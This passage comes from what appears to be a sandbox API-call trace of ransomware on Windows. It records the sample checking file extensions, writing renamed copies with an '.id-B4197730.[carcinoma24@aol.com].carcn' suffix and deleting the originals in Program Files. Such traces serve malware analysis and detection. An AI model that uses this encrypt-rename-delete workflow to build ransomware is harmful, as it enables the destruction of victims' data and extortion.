files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.289] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=208408) returned 1 [0255.289] CloseHandle (hObject=0x38c) returned 1 [0255.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0255.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.289] lstrlenW (lpString=".doc") returned 4 [0255.289] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.289] lstrlenW (lpString=".docx") returned 5 [0255.289] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0255.289] lstrlenW (lpString=".pdf") returned 4 [0255.289] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.289] lstrlenW (lpString=".xls") returned 4 [0255.289] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.289] lstrlenW (lpString=".xlsx") returned 5 [0255.289] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0255.290] lstrlenW (lpString=".ppt") returned 4 [0255.290] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.290] lstrlenW (lpString=".zip") returned 4 [0255.290] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString=".rar") returned 4 [0255.290] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString=".bz2") returned 4 [0255.290] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString=".7z") returned 3 [0255.290] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.290] lstrlenW (lpString=".dbf") returned 4 [0255.290] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.290] lstrlenW (lpString=".1cd") returned 4 [0255.290] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.290] lstrlenW (lpString=".jpg") returned 4 [0255.290] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.290] lstrlenW (lpString=".doc") returned 4 [0255.290] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString=".docx") returned 5 [0255.290] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0255.290] lstrlenW (lpString=".pdf") returned 4 [0255.290] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.290] lstrlenW (lpString=".xls") returned 4 [0255.290] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.291] lstrlenW (lpString=".xlsx") returned 5 [0255.291] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0255.291] lstrlenW (lpString=".ppt") returned 4 [0255.291] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.291] lstrlenW (lpString=".zip") returned 4 [0255.291] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.291] lstrlenW (lpString=".rar") returned 4 [0255.291] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.291] lstrlenW (lpString=".bz2") returned 4 [0255.291] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.291] lstrlenW (lpString=".7z") returned 3 [0255.291] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.291] lstrlenW (lpString=".dbf") returned 4 [0255.291] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.291] lstrlenW (lpString=".1cd") returned 4 [0255.291] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0255.291] lstrlenW (lpString=".jpg") returned 4 [0255.291] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.291] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.291] lstrlenW (lpString="join.avi") returned 8 [0255.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.292] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=199994) returned 1 [0255.292] CloseHandle (hObject=0x38c) returned 1 [0255.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0255.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0255.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0255.292] lstrlenW (lpString=".doc") returned 4 [0255.292] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.292] lstrlenW (lpString=".docx") returned 5 [0255.292] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0255.292] lstrlenW (lpString=".pdf") returned 4 [0255.292] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.292] lstrlenW (lpString=".xls") returned 4 [0255.292] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.292] lstrlenW (lpString=".xlsx") returned 5 [0255.292] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0255.292] lstrlenW (lpString=".ppt") returned 4 [0255.293] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0255.293] lstrlenW (lpString=".zip") returned 4 [0255.293] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.293] lstrlenW (lpString=".rar") returned 4 [0255.293] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.293] lstrlenW (lpString=".bz2") returned 4 [0255.293] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.293] lstrlenW (lpString=".7z") returned 3 [0255.293] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0255.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0256.434] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.434] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0256.988] GetLastError () returned 0x0 [0256.988] ReadFile (in: hFile=0x33c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x13a6, lpOverlapped=0x0) returned 1 [0257.069] WriteFile (in: hFile=0x494, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x13b0, lpOverlapped=0x0) returned 1 [0257.070] ReadFile (in: hFile=0x33c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0257.070] WriteFile (in: hFile=0x494, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0257.070] SetEndOfFile (hFile=0x494) returned 1 [0257.084] CloseHandle (hObject=0x494) returned 1 [0257.092] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.092] SetEndOfFile (hFile=0x33c) returned 1 [0257.096] CloseHandle (hObject=0x33c) returned 1 [0257.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0257.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.098] lstrlenW (lpString=".doc") returned 4 [0257.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.098] lstrlenW (lpString=".docx") returned 5 [0257.098] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.098] lstrlenW (lpString=".pdf") returned 4 [0257.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.098] lstrlenW (lpString=".xls") returned 4 [0257.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.098] lstrlenW (lpString=".xlsx") returned 5 [0257.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.098] lstrlenW (lpString=".ppt") returned 4 [0257.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.098] lstrlenW (lpString=".zip") returned 4 [0257.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.098] lstrlenW (lpString=".rar") returned 4 [0257.098] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.098] lstrlenW (lpString=".bz2") returned 4 [0257.098] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.098] lstrlenW (lpString=".7z") returned 3 [0257.098] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.098] lstrlenW (lpString=".dbf") returned 4 [0257.098] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.098] lstrlenW (lpString=".1cd") returned 4 [0257.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.099] lstrlenW (lpString=".jpg") returned 4 [0257.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.099] lstrlenW (lpString=".doc") returned 4 [0257.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.099] lstrlenW (lpString=".docx") returned 5 [0257.099] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.099] lstrlenW (lpString=".pdf") returned 4 [0257.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.099] lstrlenW (lpString=".xls") returned 4 [0257.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.099] lstrlenW (lpString=".xlsx") returned 5 [0257.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.099] lstrlenW (lpString=".ppt") returned 4 [0257.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.099] lstrlenW (lpString=".zip") returned 4 [0257.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.099] lstrlenW (lpString=".rar") returned 4 [0257.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.099] lstrlenW (lpString=".bz2") returned 4 [0257.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.100] lstrlenW (lpString=".7z") returned 3 [0257.100] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.100] lstrlenW (lpString=".dbf") returned 4 [0257.100] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.100] lstrlenW (lpString=".1cd") returned 4 [0257.100] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0257.100] lstrlenW (lpString=".jpg") returned 4 [0257.100] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.100] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.100] lstrlenW (lpString="AG00165_.GIF") returned 12 [0257.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.103] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8582) returned 1 [0257.103] CloseHandle (hObject=0x33c) returned 1 [0257.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0257.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.103] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.103] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0257.104] GetLastError () returned 0x0 [0257.104] ReadFile (in: hFile=0x33c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2186, lpOverlapped=0x0) returned 1 [0257.130] WriteFile (in: hFile=0x494, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2190, lpOverlapped=0x0) returned 1 [0257.131] ReadFile (in: hFile=0x33c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0257.131] WriteFile (in: hFile=0x494, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0257.132] SetEndOfFile (hFile=0x494) returned 1 [0257.132] CloseHandle (hObject=0x494) returned 1 [0257.133] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.133] SetEndOfFile (hFile=0x33c) returned 1 [0257.137] CloseHandle (hObject=0x33c) returned 1 [0257.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0257.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.139] lstrlenW (lpString=".doc") returned 4 [0257.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.140] lstrlenW (lpString=".docx") returned 5 [0257.140] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.140] lstrlenW (lpString=".pdf") returned 4 [0257.140] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.140] lstrlenW (lpString=".xls") returned 4 [0257.140] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.140] lstrlenW (lpString=".xlsx") returned 5 [0257.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.140] lstrlenW (lpString=".ppt") returned 4 [0257.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.140] lstrlenW (lpString=".zip") returned 4 [0257.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.140] lstrlenW (lpString=".rar") returned 4 [0257.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.140] lstrlenW (lpString=".bz2") returned 4 [0257.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.140] lstrlenW (lpString=".7z") returned 3 [0257.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.140] lstrlenW (lpString=".dbf") returned 4 [0257.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.140] lstrlenW (lpString=".1cd") returned 4 [0257.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.140] lstrlenW (lpString=".jpg") returned 4 [0257.141] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.141] lstrlenW (lpString=".doc") returned 4 [0257.141] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.141] lstrlenW (lpString=".docx") returned 5 [0257.141] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.141] lstrlenW (lpString=".pdf") returned 4 [0257.141] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.141] lstrlenW (lpString=".xls") returned 4 [0257.141] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.141] lstrlenW (lpString=".xlsx") returned 5 [0257.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.141] lstrlenW (lpString=".ppt") returned 4 [0257.141] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.141] lstrlenW (lpString=".zip") returned 4 [0257.141] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.141] lstrlenW (lpString=".rar") returned 4 [0257.141] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.141] lstrlenW (lpString=".bz2") returned 4 [0257.141] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.141] lstrlenW (lpString=".7z") returned 3 [0257.141] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.141] lstrlenW (lpString=".dbf") returned 4 [0257.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.142] lstrlenW (lpString=".1cd") returned 4 [0257.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0257.142] lstrlenW (lpString=".jpg") returned 4 [0257.142] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.142] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.142] lstrlenW (lpString="AG00167_.GIF") returned 12 [0257.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.146] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4894) returned 1 [0257.146] CloseHandle (hObject=0x33c) returned 1 [0257.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0257.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.147] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.147] 